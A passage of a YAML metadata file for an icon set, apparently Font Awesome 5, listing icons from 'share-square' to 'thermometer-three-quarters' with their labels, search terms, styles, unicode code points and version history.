- send + - social + styles: + - solid + unicode: f1e1 + voted: false +share-square: + changes: + - '3.1' + - 5.0.0 + label: Share Square + search: + terms: + - forward + - save + - send + - social + styles: + - solid + - regular + unicode: f14d + voted: false +shekel-sign: + changes: + - '4.2' + - 5.0.0 + label: Shekel Sign + search: + terms: + - currency + - ils + - money + styles: + - solid + unicode: f20b + voted: true +shield-alt: + changes: + - 5.0.0 + label: Alternate Shield + search: + terms: + - achievement + - award + - block + - defend + - security + - winner + styles: + - solid + unicode: f3ed + voted: false +shield-virus: + changes: + - 5.13.0 + - 5.14.0 + label: Shield Virus + search: + terms: + - antibodies + - barrier + - covid-19 + - health + - protect + styles: + - solid + unicode: e06c + voted: false +ship: + changes: + - '4.3' + - 5.0.0 + - 5.10.2 + - 5.11.0 + - 5.11.1 + label: Ship + search: + terms: + - boat + - sea + - water + styles: + - solid + unicode: f21a + voted: false +shipping-fast: + changes: + - 5.0.7 + label: Shipping Fast + search: + terms: + - express + - fedex + - mail + - overnight + - package + - ups + styles: + - solid + unicode: f48b + voted: false +shirtsinbulk: + changes: + - '4.3' + - 5.0.0 + - 5.7.0 + label: Shirts in Bulk + search: + terms: [] + styles: + - brands + unicode: f214 + voted: false +shoe-prints: + changes: + - 5.0.13 + label: Shoe Prints + search: + terms: + - feet + - footprints + - steps + - walk + styles: + - solid + unicode: f54b + voted: true +shopify: + changes: + - 5.12.1 + - 5.14.0 + label: Shopify + search: + terms: [] + styles: + - brands + unicode: e057 + voted: false +shopping-bag: + changes: + - '4.5' + - 5.0.0 + label: Shopping Bag + search: + terms: + - buy + - checkout + - grocery + - payment + - purchase + styles: + - solid + unicode: f290 + voted: false +shopping-basket: + changes: + - '4.5' + - 5.0.0 + label: Shopping Basket + search: + terms: + - buy + - checkout + - grocery + - payment + - purchase + styles: + - solid + unicode: f291 + voted: false +shopping-cart: + changes: + - '1' + - 5.0.0 + label: shopping-cart + search: + terms: + - buy + - checkout + - grocery + - payment + - purchase + styles: + - solid + unicode: f07a + voted: false +shopware: + changes: + - 5.1.0 + - 5.8.0 + label: Shopware + search: + terms: [] + styles: + - brands + unicode: f5b5 + voted: false +shower: + changes: + - '4.7' + - 5.0.0 + - 5.12.0 + label: Shower + search: + terms: + - bath + - clean + - faucet + - water + styles: + - solid + unicode: f2cc + voted: false +shuttle-van: + changes: + - 5.1.0 + label: Shuttle Van + search: + terms: + - airport + - machine + - public-transportation + - transportation + - travel + - vehicle + styles: + - solid + unicode: f5b6 + voted: false +sign: + changes: + - 5.0.9 + label: Sign + search: + terms: + - directions + - real estate + - signage + - wayfinding + styles: + - solid + unicode: f4d9 + voted: false +sign-in-alt: + changes: + - 5.0.0 + label: Alternate Sign In + search: + terms: + - arrow + - enter + - join + - log in + - login + - sign in + - sign up + - sign-in + - signin + - signup + styles: + - solid + unicode: f2f6 + voted: false +sign-language: + changes: + - '4.6' + - 5.0.0 + - 5.10.2 + label: Sign Language + search: + terms: + - Translate + - asl + - deaf + - hands + styles: + - solid + unicode: f2a7 + voted: false +sign-out-alt: + changes: + - 5.0.0 + label: Alternate Sign Out + search: + terms: + - arrow + - exit + - leave + - log out + - logout + - sign-out + styles: + - solid + unicode: f2f5 + voted: false +signal: + changes: + - '1' + - 5.0.0 + - 5.3.0 + - 5.10.1 + label: signal + search: + terms: + - bars + - graph + - online + - reception + - status + styles: + - solid + unicode: f012 + voted: false +signature: + changes: + - 5.1.0 + - 5.6.0 + label: Signature + search: + terms: + - John Hancock + - cursive + - name + - writing + styles: + - solid + unicode: f5b7 + voted: true +sim-card: + changes: + - 5.6.0 + - 5.8.2 + - 5.10.2 + label: SIM Card + search: + terms: + - hard drive + - hardware + - portable + - storage + - technology + - tiny + styles: + - solid + unicode: f7c4 + voted: true +simplybuilt: + changes: + - '4.3' + - 5.0.0 + label: SimplyBuilt + search: + terms: [] + styles: + - brands + unicode: f215 + voted: false +sink: + changes: + - 5.13.0 + - 5.13.1 + - 5.14.0 + label: Sink + search: + terms: + - bathroom + - covid-19 + - faucet + - kitchen + - wash + styles: + - solid + unicode: e06d + voted: false +sistrix: + changes: + - 5.0.0 + label: SISTRIX + search: + terms: [] + styles: + - brands + unicode: f3ee + voted: false +sitemap: + changes: + - '2' + - 5.0.0 + - 5.0.13 + label: Sitemap + search: + terms: + - directory + - hierarchy + - ia + - information architecture + - organization + styles: + - solid + unicode: f0e8 + voted: false +sith: + changes: + - 5.0.12 + label: Sith + search: + terms: [] + styles: + - brands + unicode: f512 + voted: false +skating: + changes: + - 5.6.0 + label: Skating + search: + terms: + - activity + - figure skating + - fitness + - ice + - person + - winter + styles: + - solid + unicode: f7c5 +sketch: + changes: + - 5.6.0 + - 5.8.0 + label: Sketch + search: + terms: + - app + - design + - interface + styles: + - brands + unicode: f7c6 + voted: false +skiing: + changes: + - 5.6.0 + label: Skiing + search: + terms: + - activity + - downhill + - fast + - fitness + - olympics + - outdoors + - person + - seasonal + - slalom + styles: + - solid + unicode: f7c9 +skiing-nordic: + changes: + - 5.6.0 + label: Skiing Nordic + search: + terms: + - activity + - cross country + - fitness + - outdoors + - person + - seasonal + styles: + - solid + unicode: f7ca +skull: + changes: + - 5.0.13 + - 5.10.2 + label: Skull + search: + terms: + - bones + - skeleton + - x-ray + - yorick + styles: + - solid + unicode: f54c + voted: true +skull-crossbones: + changes: + - 5.4.0 + - 5.10.2 + label: Skull & Crossbones + search: + terms: + - Dungeons & Dragons + - alert + - bones + - d&d + - danger + - dead + - deadly + - death + - dnd + - fantasy + - halloween + - holiday + - jolly-roger + - pirate + - poison + - skeleton + - warning + styles: + - solid + unicode: f714 + voted: false +skyatlas: + changes: + - '4.3' + - 5.0.0 + - 5.0.3 + label: skyatlas + search: + terms: [] + styles: + - brands + unicode: f216 + voted: false +skype: + changes: + - '3.2' + - 5.0.0 + label: Skype + search: + terms: [] + styles: + - brands + unicode: f17e + voted: false +slack: + changes: + - '4.1' + - 5.0.0 + - 5.7.0 + label: Slack Logo + search: + terms: + - anchor + - hash + - hashtag + styles: + - brands + unicode: f198 + voted: false +slack-hash: + changes: + - 5.0.0 + label: Slack Hashtag + search: + terms: + - anchor + - hash + - hashtag + styles: + - brands + unicode: f3ef + voted: false +slash: + changes: + - 5.4.0 + label: Slash + search: + terms: + - cancel + - close + - mute + - 'off' + - stop + - x + styles: + - solid + unicode: f715 + voted: true +sleigh: + changes: + - 5.6.0 + label: Sleigh + search: + terms: + - christmas + - claus + - fly + - holiday + - santa + - sled + - snow + - xmas + styles: + - solid + unicode: f7cc +sliders-h: + changes: + - '4.1' + - 5.0.0 + - 5.0.11 + label: Horizontal Sliders + search: + terms: + - adjust + - settings + - sliders + - toggle + styles: + - solid + unicode: f1de + voted: false +slideshare: + changes: + - '4.2' + - 5.0.0 + label: Slideshare + search: + terms: [] + styles: + - brands + unicode: f1e7 + voted: false +smile: + changes: + - '3.1' + - 5.0.0 + - 5.0.9 + - 5.1.0 + - 5.11.0 + - 5.11.1 + label: Smiling Face + search: + terms: + - approve + - emoticon + - face + - happy + - rating + - satisfied + styles: + - solid + - regular + unicode: f118 + voted: false +smile-beam: + changes: + - 5.1.0 + - 5.11.0 + - 5.11.1 + label: Beaming Face With Smiling Eyes + search: + terms: + - emoticon + - face + - happy + - positive + styles: + - solid + - regular + unicode: f5b8 + voted: false +smile-wink: + changes: + - 5.1.0 + - 5.11.0 + - 5.11.1 + label: Winking Face + search: + terms: + - emoticon + - face + - happy + - hint + - joke + styles: + - solid + - regular + unicode: f4da + voted: false +smog: + changes: + - 5.5.0 + label: Smog + search: + terms: + - dragon + - fog + - haze + - pollution + - smoke + - weather + styles: + - solid + unicode: f75f + voted: false +smoking: + changes: + - 5.0.7 + label: Smoking + search: + terms: + - cancer + - cigarette + - nicotine + - smoking status + - tobacco + styles: + - solid + unicode: f48d + voted: true +smoking-ban: + changes: + - 5.0.13 + label: Smoking Ban + search: + terms: + - ban + - cancel + - no smoking + - non-smoking + styles: + - solid + unicode: f54d + voted: true +sms: + changes: + - 5.6.0 + label: SMS + search: + terms: + - chat + - conversation + - message + - mobile + - notification + - phone + - sms + - texting + styles: + - solid + unicode: f7cd + voted: true +snapchat: + changes: + - '4.6' + - 5.0.0 + label: Snapchat + search: + terms: [] + styles: + - brands + unicode: f2ab + voted: false +snapchat-ghost: + changes: + - '4.6' + - 5.0.0 + label: Snapchat Ghost + search: + terms: [] + styles: + - brands + unicode: f2ac + voted: false +snapchat-square: + changes: + - '4.6' + - 5.0.0 + label: Snapchat Square + search: + terms: [] + styles: + - brands + unicode: f2ad + voted: false +snowboarding: + changes: + - 5.6.0 + label: Snowboarding + search: + terms: + - activity + - fitness + - olympics + - outdoors + - person + styles: + - solid + unicode: f7ce +snowflake: + changes: + - '4.7' + - 5.0.0 + - 5.5.0 + label: Snowflake + search: + terms: + - precipitation + - rain + - winter + styles: + - solid + - regular + unicode: f2dc + voted: false +snowman: + changes: + - 5.6.0 + label: Snowman + search: + terms: + - decoration + - frost + - frosty + - holiday + styles: + - solid + unicode: f7d0 +snowplow: + changes: + - 5.6.0 + label: Snowplow + search: + terms: + - clean up + - cold + - road + - storm + - winter + styles: + - solid + unicode: f7d2 +soap: + changes: + - 5.13.0 + - 5.14.0 + label: Soap + search: + terms: + - bubbles + - clean + - covid-19 + - hygiene + - wash + styles: + - solid + unicode: e06e + voted: false +socks: + changes: + - 5.3.0 + - 5.10.2 + label: Socks + search: + terms: + - business socks + - business time + - clothing + - feet + - flight of the conchords + - wednesday + styles: + - solid + unicode: f696 + voted: false +solar-panel: + changes: + - 5.1.0 + label: Solar Panel + search: + terms: + - clean + - eco-friendly + - energy + - green + - sun + styles: + - solid + unicode: f5ba + voted: false +sort: + changes: + - '2' + - 5.0.0 + - 5.10.2 + label: Sort + search: + terms: + - filter + - order + styles: + - solid + unicode: f0dc + voted: false +sort-alpha-down: + changes: + - '3.2' + - 5.0.0 + - 5.9.0 + label: Sort Alphabetical Down + search: + terms: + - alphabetical + - arrange + - filter + - order + - sort-alpha-asc + styles: + - solid + unicode: f15d + voted: false +sort-alpha-down-alt: + changes: + - 5.9.0 + label: Alternate Sort Alphabetical Down + search: + terms: + - alphabetical + - arrange + - filter + - order + - sort-alpha-asc + styles: + - solid + unicode: f881 + voted: false +sort-alpha-up: + changes: + - '3.2' + - 5.0.0 + - 5.9.0 + label: Sort Alphabetical Up + search: + terms: + - alphabetical + - arrange + - filter + - order + - sort-alpha-desc + styles: + - solid + unicode: f15e + voted: false +sort-alpha-up-alt: + changes: + - 5.9.0 + label: Alternate Sort Alphabetical Up + search: + terms: + - alphabetical + - arrange + - filter + - order + - sort-alpha-desc + styles: + - solid + unicode: f882 + voted: false +sort-amount-down: + changes: + - '3.2' + - 5.0.0 + - 5.9.0 + label: Sort Amount Down + search: + terms: + - arrange + - filter + - number + - order + - sort-amount-asc + styles: + - solid + unicode: f160 + voted: false +sort-amount-down-alt: + changes: + - 5.9.0 + label: Alternate Sort Amount Down + search: + terms: + - arrange + - filter + - order + - sort-amount-asc + styles: + - solid + unicode: f884 + voted: false +sort-amount-up: + changes: + - '3.2' + - 5.0.0 + - 5.9.0 + label: Sort Amount Up + search: + terms: + - arrange + - filter + - order + - sort-amount-desc + styles: + - solid + unicode: f161 + voted: false +sort-amount-up-alt: + changes: + - 5.9.0 + label: Alternate Sort Amount Up + search: + terms: + - arrange + - filter + - order + - sort-amount-desc + styles: + - solid + unicode: f885 + voted: false +sort-down: + changes: + - '2' + - 5.0.0 + - 5.10.1 + - 5.10.2 + label: Sort Down (Descending) + search: + terms: + - arrow + - descending + - filter + - order + - sort-desc + styles: + - solid + unicode: f0dd + voted: false +sort-numeric-down: + changes: + - '3.2' + - 5.0.0 + - 5.9.0 + label: Sort Numeric Down + search: + terms: + - arrange + - filter + - numbers + - order + - sort-numeric-asc + styles: + - solid + unicode: f162 + voted: false +sort-numeric-down-alt: + changes: + - 5.9.0 + label: Alternate Sort Numeric Down + search: + terms: + - arrange + - filter + - numbers + - order + - sort-numeric-asc + styles: + - solid + unicode: f886 + voted: false +sort-numeric-up: + changes: + - '3.2' + - 5.0.0 + - 5.9.0 + label: Sort Numeric Up + search: + terms: + - arrange + - filter + - numbers + - order + - sort-numeric-desc + styles: + - solid + unicode: f163 + voted: false +sort-numeric-up-alt: + changes: + - 5.9.0 + label: Alternate Sort Numeric Up + search: + terms: + - arrange + - filter + - numbers + - order + - sort-numeric-desc + styles: + - solid + unicode: f887 + voted: false +sort-up: + changes: + - '2' + - 5.0.0 + - 5.10.1 + - 5.10.2 + label: Sort Up (Ascending) + search: + terms: + - arrow + - ascending + - filter + - order + - sort-asc + styles: + - solid + unicode: f0de + voted: false +soundcloud: + changes: + - '4.1' + - 5.0.0 + label: SoundCloud + search: + terms: [] + styles: + - brands + unicode: f1be + voted: false +sourcetree: + changes: + - 5.6.0 + - 5.8.0 + label: Sourcetree + search: + terms: [] + styles: + - brands + unicode: f7d3 + voted: true +spa: + changes: + - 5.1.0 + label: Spa + search: + terms: + - flora + - massage + - mindfulness + - plant + - wellness + styles: + - solid + unicode: f5bb + voted: false +space-shuttle: + changes: + - '4.1' + - 5.0.0 + - 5.10.2 + label: Space Shuttle + search: + terms: + - astronaut + - machine + - nasa + - rocket + - space + - transportation + styles: + - solid + unicode: f197 + voted: false +speakap: + changes: + - 5.0.0 + - 5.4.0 + - 5.8.0 + label: Speakap + search: + terms: [] + styles: + - brands + unicode: f3f3 + voted: false +speaker-deck: + changes: + - 5.8.0 + label: Speaker Deck + search: + terms: [] + styles: + - brands + unicode: f83c +spell-check: + changes: + - 5.9.0 + label: Spell Check + search: + terms: + - dictionary + - edit + - editor + - grammar + - text + styles: + - solid + unicode: f891 + voted: false +spider: + changes: + - 5.4.0 + label: Spider + search: + terms: + - arachnid + - bug + - charlotte + - crawl + - eight + - halloween + styles: + - solid + unicode: f717 + voted: true +spinner: + changes: + - '3' + - 5.0.0 + - 5.10.2 + label: Spinner + search: + terms: + - circle + - loading + - progress + styles: + - solid + unicode: f110 + voted: false +splotch: + changes: + - 5.1.0 + label: Splotch + search: + terms: + - Ink + - blob + - blotch + - glob + - stain + styles: + - solid + unicode: f5bc + voted: false +spotify: + changes: + - '4.1' + - 5.0.0 + label: Spotify + search: + terms: [] + styles: + - brands + unicode: f1bc + voted: false +spray-can: + changes: + - 5.1.0 + label: Spray Can + search: + terms: + - Paint + - aerosol + - design + - graffiti + - tag + styles: + - solid + unicode: f5bd + voted: false +square: + changes: + - '2' + - 5.0.0 + - 5.10.1 + - 5.10.2 + label: Square + search: + terms: + - block + - box + - shape + styles: + - solid + - regular + unicode: f0c8 + voted: false +square-full: + changes: + - 5.0.5 + - 5.10.2 + label: Square Full + search: + terms: + - block + - box + - shape + styles: + - solid + unicode: f45c + voted: false +square-root-alt: + changes: + - 5.3.0 + label: Alternate Square Root + search: + terms: + - arithmetic + - calculus + - division + - math + styles: + - solid + unicode: f698 + voted: false +squarespace: + changes: + - 5.1.0 + label: Squarespace + search: + terms: [] + styles: + - brands + unicode: f5be + voted: true +stack-exchange: + changes: + - '4' + - 5.0.0 + - 5.0.3 + label: Stack Exchange + search: + terms: [] + styles: + - brands + unicode: f18d + voted: false +stack-overflow: + changes: + - '3.2' + - 5.0.0 + label: Stack Overflow + search: + terms: [] + styles: + - brands + unicode: f16c + voted: false +stackpath: + changes: + - 5.8.2 + label: Stackpath + search: + terms: [] + styles: + - brands + unicode: f842 +stamp: + changes: + - 5.1.0 + - 5.10.2 + label: Stamp + search: + terms: + - art + - certificate + - imprint + - rubber + - seal + styles: + - solid + unicode: f5bf + voted: false +star: + changes: + - '1' + - 5.0.0 + - 5.10.2 + label: Star + search: + terms: + - achievement + - award + - favorite + - important + - night + - rating + - score + styles: + - solid + - regular + unicode: f005 + voted: false +star-and-crescent: + changes: + - 5.3.0 + label: Star and Crescent + search: + terms: + - islam + - muslim + - religion + styles: + - solid + unicode: f699 + voted: false +star-half: + changes: + - '1' + - 5.0.0 + label: star-half + search: + terms: + - achievement + - award + - rating + - score + - star-half-empty + - star-half-full + styles: + - solid + - regular + unicode: f089 + voted: false +star-half-alt: + changes: + - 5.1.0 + - 5.11.0 + - 5.11.1 + label: Alternate Star Half + search: + terms: + - achievement + - award + - rating + - score + - star-half-empty + - star-half-full + styles: + - solid + unicode: f5c0 + voted: true +star-of-david: + changes: + - 5.3.0 + - 5.11.0 + - 5.11.1 + label: Star of David + search: + terms: + - jewish + - judaism + - religion + styles: + - solid + unicode: f69a + voted: false +star-of-life: + changes: + - 5.2.0 + label: Star of Life + search: + terms: + - doctor + - emt + - first aid + - health + - medical + styles: + - solid + unicode: f621 + voted: false +staylinked: + changes: + - 5.0.0 + label: StayLinked + search: + terms: [] + styles: + - brands + unicode: f3f5 + voted: false +steam: + changes: + - '4.1' + - 5.0.0 + label: Steam + search: + terms: [] + styles: + - brands + unicode: f1b6 + voted: false +steam-square: + changes: + - '4.1' + - 5.0.0 + label: Steam Square + search: + terms: [] + styles: + - brands + unicode: f1b7 + voted: false +steam-symbol: + changes: + - 5.0.0 + label: Steam Symbol + search: + terms: [] + styles: + - brands + unicode: f3f6 + voted: false +step-backward: + changes: + - '1' + - 5.0.0 + - 5.10.2 + - 5.11.0 + - 5.11.1 + label: step-backward + search: + terms: + - beginning + - first + - previous + - rewind + - start + styles: + - solid + unicode: f048 + voted: false +step-forward: + changes: + - '1' + - 5.0.0 + - 5.10.2 + - 5.11.0 + - 5.11.1 + label: step-forward + search: + terms: + - end + - last + - next + styles: + - solid + unicode: f051 + voted: false +stethoscope: + changes: + - '3' + - 5.0.0 + - 5.0.7 + label: Stethoscope + search: + terms: + - covid-19 + - diagnosis + - doctor + - general practitioner + - hospital + - infirmary + - medicine + - office + - outpatient + styles: + - solid + unicode: f0f1 + voted: false +sticker-mule: + changes: + - 5.0.0 + - 5.7.0 + label: Sticker Mule + search: + terms: [] + styles: + - brands + unicode: f3f7 + voted: false +sticky-note: + changes: + - '4.4' + - 5.0.0 + - 5.10.2 + label: Sticky Note + search: + terms: + - message + - note + - paper + - reminder + - sticker + styles: + - solid + - regular + unicode: f249 + voted: false +stop: + changes: + - '1' + - 5.0.0 + - 5.10.2 + label: stop + search: + terms: + - block + - box + - square + styles: + - solid + unicode: f04d + voted: false +stop-circle: + changes: + - '4.5' + - 5.0.0 + label: Stop Circle + search: + terms: + - block + - box + - circle + - square + styles: + - solid + - regular + unicode: f28d + voted: false +stopwatch: + changes: + - 5.0.0 + - 5.10.2 + label: Stopwatch + search: + terms: + - clock + - reminder + - time + styles: + - solid + unicode: f2f2 + voted: false +stopwatch-20: + changes: + - 5.13.0 + - 5.14.0 + label: Stopwatch 20 + search: + terms: + - ABCs + - countdown + - covid-19 + - happy birthday + - i will survive + - reminder + - seconds + - time + - timer + styles: + - solid + unicode: e06f + voted: false +store: + changes: + - 5.0.13 + - 5.11.0 + - 5.11.1 + label: Store + search: + terms: + - building + - buy + - purchase + - shopping + styles: + - solid + unicode: f54e + voted: true +store-alt: + changes: + - 5.0.13 + label: Alternate Store + search: + terms: + - building + - buy + - purchase + - shopping + styles: + - solid + unicode: f54f + voted: true +store-alt-slash: + changes: + - 5.13.0 + - 5.14.0 + label: Alternate Store Slash + search: + terms: + - building + - buy + - closed + - covid-19 + - purchase + - shopping + styles: + - solid + unicode: e070 + voted: false +store-slash: + changes: + - 5.13.0 + - 5.14.0 + label: Store Slash + search: + terms: + - building + - buy + - closed + - covid-19 + - purchase + - shopping + styles: + - solid + unicode: e071 + voted: false +strava: + changes: + - 5.0.0 + - 5.0.1 + - 5.7.0 + - 5.8.0 + label: Strava + search: + terms: [] + styles: + - brands + unicode: f428 + voted: false +stream: + changes: + - 5.0.13 + label: Stream + search: + terms: + - flow + - list + - timeline + styles: + - solid + unicode: f550 + voted: false +street-view: + changes: + - '4.3' + - 5.0.0 + - 5.2.0 + label: Street View + search: + terms: + - directions + - location + - map + - navigation + styles: + - solid + unicode: f21d + voted: false +strikethrough: + changes: + - '2' + - 5.0.0 + - 5.9.0 + label: Strikethrough + search: + terms: + - cancel + - edit + - font + - format + - text + - type + styles: + - solid + unicode: f0cc + voted: false +stripe: + changes: + - 5.0.0 + - 5.0.3 + label: Stripe + search: + terms: [] + styles: + - brands + unicode: f429 + voted: false +stripe-s: + changes: + - 5.0.1 + - 5.8.0 + label: Stripe S + search: + terms: [] + styles: + - brands + unicode: f42a + voted: false +stroopwafel: + changes: + - 5.0.13 + label: Stroopwafel + search: + terms: + - caramel + - cookie + - dessert + - sweets + - waffle + styles: + - solid + unicode: f551 + voted: false +studiovinari: + changes: + - 5.0.0 + label: Studio Vinari + search: + terms: [] + styles: + - brands + unicode: f3f8 + voted: false +stumbleupon: + changes: + - '4.1' + - 5.0.0 + label: StumbleUpon Logo + search: + terms: [] + styles: + - brands + unicode: f1a4 + voted: false +stumbleupon-circle: + changes: + - '4.1' + - 5.0.0 + label: StumbleUpon Circle + search: + terms: [] + styles: + - brands + unicode: f1a3 + voted: false +subscript: + changes: + - '3.1' + - 5.0.0 + - 5.9.0 + - 5.10.2 + label: subscript + search: + terms: + - edit + - font + - format + - text + - type + styles: + - solid + unicode: f12c + voted: false +subway: + changes: + - '4.3' + - 5.0.0 + label: Subway + search: + terms: + - machine + - railway + - train + - transportation + - vehicle + styles: + - solid + unicode: f239 + voted: false +suitcase: + changes: + - '3' + - 5.0.0 + - 5.0.9 + label: Suitcase + search: + terms: + - baggage + - luggage + - move + - suitcase + - travel + - trip + styles: + - solid + unicode: f0f2 + voted: false +suitcase-rolling: + changes: + - 5.1.0 + - 5.10.2 + label: Suitcase Rolling + search: + terms: + - baggage + - luggage + - move + - suitcase + - travel + - trip + styles: + - solid + unicode: f5c1 + voted: false +sun: + changes: + - '3.2' + - 5.0.0 + - 5.5.0 + label: Sun + search: + terms: + - brighten + - contrast + - day + - lighter + - sol + - solar + - star + - weather + styles: + - solid + - regular + unicode: f185 + voted: false +superpowers: + changes: + - '4.7' + - 5.0.0 + label: Superpowers + search: + terms: [] + styles: + - brands + unicode: f2dd + voted: false +superscript: + changes: + - '3.1' + - 5.0.0 + - 5.9.0 + - 5.10.2 + label: superscript + search: + terms: + - edit + - exponential + - font + - format + - text + - type + styles: + - solid + unicode: f12b + voted: false +supple: + changes: + - 5.0.0 + label: Supple + search: + terms: [] + styles: + - brands + unicode: f3f9 + voted: false +surprise: + changes: + - 5.1.0 + - 5.11.0 + - 5.11.1 + label: Hushed Face + search: + terms: + - emoticon + - face + - shocked + styles: + - solid + - regular + unicode: f5c2 + voted: false +suse: + changes: + - 5.6.0 + - 5.8.0 + label: Suse + search: + terms: + - linux + - operating system + - os + styles: + - brands + unicode: f7d6 + voted: true +swatchbook: + changes: + - 5.1.0 + - 5.11.0 + - 5.11.1 + label: Swatchbook + search: + terms: + - Pantone + - color + - design + - hue + - palette + styles: + - solid + unicode: f5c3 + voted: false +swift: + changes: + - 5.11.0 + label: Swift + search: + terms: [] + styles: + - brands + unicode: f8e1 +swimmer: + changes: + - 5.1.0 + label: Swimmer + search: + terms: + - athlete + - head + - man + - olympics + - person + - pool + - water + styles: + - solid + unicode: f5c4 + voted: false +swimming-pool: + changes: + - 5.1.0 + label: Swimming Pool + search: + terms: + - ladder + - recreation + - swim + - water + styles: + - solid + unicode: f5c5 + voted: false +symfony: + changes: + - 5.8.0 + label: Symfony + search: + terms: [] + styles: + - brands + unicode: f83d +synagogue: + changes: + - 5.3.0 + label: Synagogue + search: + terms: + - building + - jewish + - judaism + - religion + - star of david + - temple + styles: + - solid + unicode: f69b + voted: false +sync: + changes: + - '1' + - 5.0.0 + - 5.8.0 + label: Sync + search: + terms: + - exchange + - refresh + - reload + - rotate + - swap + styles: + - solid + unicode: f021 + voted: false +sync-alt: + changes: + - 5.0.0 + label: Alternate Sync + search: + terms: + - exchange + - refresh + - reload + - rotate + - swap + styles: + - solid + unicode: f2f1 + voted: false +syringe: + changes: + - 5.0.7 + label: Syringe + search: + terms: + - covid-19 + - doctor + - immunizations + - medical + - needle + styles: + - solid + unicode: f48e + voted: false +table: + changes: + - '2' + - 5.0.0 + label: table + search: + terms: + - data + - excel + - spreadsheet + styles: + - solid + unicode: f0ce + voted: false +table-tennis: + changes: + - 5.0.5 + label: Table Tennis + search: + terms: + - ball + - paddle + - ping pong + styles: + - solid + unicode: f45d + voted: false +tablet: + changes: + - '3' + - 5.0.0 + label: tablet + search: + terms: + - apple + - device + - ipad + - kindle + - screen + styles: + - solid + unicode: f10a + voted: false +tablet-alt: + changes: + - 5.0.0 + label: Alternate Tablet + search: + terms: + - apple + - device + - ipad + - kindle + - screen + styles: + - solid + unicode: f3fa + voted: false +tablets: + changes: + - 5.0.7 + label: Tablets + search: + terms: + - drugs + - medicine + - pills + - prescription + styles: + - solid + unicode: f490 + voted: false +tachometer-alt: + changes: + - 5.0.0 + - 5.2.0 + label: Alternate Tachometer + search: + terms: + - dashboard + - fast + - odometer + - speed + - speedometer + styles: + - solid + unicode: f3fd + voted: false +tag: + changes: + - '1' + - 5.0.0 + label: tag + search: + terms: + - discount + - label + - price + - shopping + styles: + - solid + unicode: f02b + voted: false +tags: + changes: + - '1' + - 5.0.0 + - 5.10.2 + label: tags + search: + terms: + - discount + - label + - price + - shopping + styles: + - solid + unicode: f02c + voted: false +tape: + changes: + - 5.0.9 + label: Tape + search: + terms: + - design + - package + - sticky + styles: + - solid + unicode: f4db + voted: false +tasks: + changes: + - '2' + - 5.0.0 + - 5.9.0 + label: Tasks + search: + terms: + - checklist + - downloading + - downloads + - loading + - progress + - project management + - settings + - to do + styles: + - solid + unicode: f0ae + voted: false +taxi: + changes: + - '4.1' + - 5.0.0 + - 5.1.0 + label: Taxi + search: + terms: + - cab + - cabbie + - car + - car service + - lyft + - machine + - transportation + - travel + - uber + - vehicle + styles: + - solid + unicode: f1ba + voted: false +teamspeak: + changes: + - 5.0.11 + - 5.1.0 + - 5.8.0 + label: TeamSpeak + search: + terms: [] + styles: + - brands + unicode: f4f9 + voted: true +teeth: + changes: + - 5.2.0 + label: Teeth + search: + terms: + - bite + - dental + - dentist + - gums + - mouth + - smile + - tooth + styles: + - solid + unicode: f62e + voted: false +teeth-open: + changes: + - 5.2.0 + label: Teeth Open + search: + terms: + - dental + - dentist + - gums bite + - mouth + - smile + - tooth + styles: + - solid + unicode: f62f + voted: false +telegram: + changes: + - '4.7' + - 5.0.0 + label: Telegram + search: + terms: [] + styles: + - brands + unicode: f2c6 + voted: false +telegram-plane: + changes: + - 5.0.0 + label: Telegram Plane + search: + terms: [] + styles: + - brands + unicode: f3fe + voted: false +temperature-high: + changes: + - 5.5.0 + label: High Temperature + search: + terms: + - cook + - covid-19 + - mercury + - summer + - thermometer + - warm + styles: + - solid + unicode: f769 + voted: false +temperature-low: + changes: + - 5.5.0 + label: Low Temperature + search: + terms: + - cold + - cool + - covid-19 + - mercury + - thermometer + - winter + styles: + - solid + unicode: f76b + voted: false +tencent-weibo: + changes: + - '4.1' + - 5.0.0 + label: Tencent Weibo + search: + terms: [] + styles: + - brands + unicode: f1d5 + voted: false +tenge: + changes: + - 5.6.0 + label: Tenge + search: + terms: + - currency + - kazakhstan + - money + - price + styles: + - solid + unicode: f7d7 + voted: true +terminal: + changes: + - '3.1' + - 5.0.0 + label: Terminal + search: + terms: + - code + - command + - console + - development + - prompt + styles: + - solid + unicode: f120 + voted: false +text-height: + changes: + - '1' + - 5.0.0 + - 5.9.0 + - 5.10.2 + label: text-height + search: + terms: + - edit + - font + - format + - text + - type + styles: + - solid + unicode: f034 + voted: false +text-width: + changes: + - '1' + - 5.0.0 + - 5.9.0 + - 5.10.2 + label: Text Width + search: + terms: + - edit + - font + - format + - text + - type + styles: + - solid + unicode: f035 + voted: false +th: + changes: + - '1' + - 5.0.0 + - 5.7.0 + label: th + search: + terms: + - blocks + - boxes + - grid + - squares + styles: + - solid + unicode: f00a + voted: false +th-large: + changes: + - '1' + - 5.0.0 + label: th-large + search: + terms: + - blocks + - boxes + - grid + - squares + styles: + - solid + unicode: f009 + voted: false +th-list: + changes: + - '1' + - 5.0.0 + label: th-list + search: + terms: + - checklist + - completed + - done + - finished + - ol + - todo + - ul + styles: + - solid + unicode: f00b + voted: false +the-red-yeti: + changes: + - 5.3.0 + - 5.7.0 + - 5.8.0 + label: The Red Yeti + search: + terms: [] + styles: + - brands + unicode: f69d + voted: false +theater-masks: + changes: + - 5.2.0 + - 5.10.2 + label: Theater Masks + search: + terms: + - comedy + - perform + - theatre + - tragedy + styles: + - solid + unicode: f630 + voted: false +themeco: + changes: + - 5.1.0 + - 5.8.0 + label: Themeco + search: + terms: [] + styles: + - brands + unicode: f5c6 + voted: false +themeisle: + changes: + - '4.6' + - 5.0.0 + label: ThemeIsle + search: + terms: [] + styles: + - brands + unicode: f2b2 + voted: false +thermometer: + changes: + - 5.0.7 + label: Thermometer + search: + terms: + - covid-19 + - mercury + - status + - temperature + styles: + - solid + unicode: f491 + voted: false +thermometer-empty: + changes: + - '4.7' + - 5.0.0 + label: Thermometer Empty + search: + terms: + - cold + - mercury + - status + - temperature + styles: + - solid + unicode: f2cb + voted: false +thermometer-full: + changes: + - '4.7' + - 5.0.0 + label: Thermometer Full + search: + terms: + - fever + - hot + - mercury + - status + - temperature + styles: + - solid + unicode: f2c7 + voted: false +thermometer-half: + changes: + - '4.7' + - 5.0.0 + label: Thermometer 1/2 Full + search: + terms: + - mercury + - status + - temperature + styles: + - solid + unicode: f2c9 + voted: false +thermometer-quarter: + changes: + - '4.7' + - 5.0.0 + label: Thermometer 1/4 Full + search: + terms: + - mercury + - status + - temperature + styles: + - solid + unicode: f2ca + voted: false +thermometer-three-quarters: + changes: + - '4.7' + - 5.0.0 + label: Thermometer 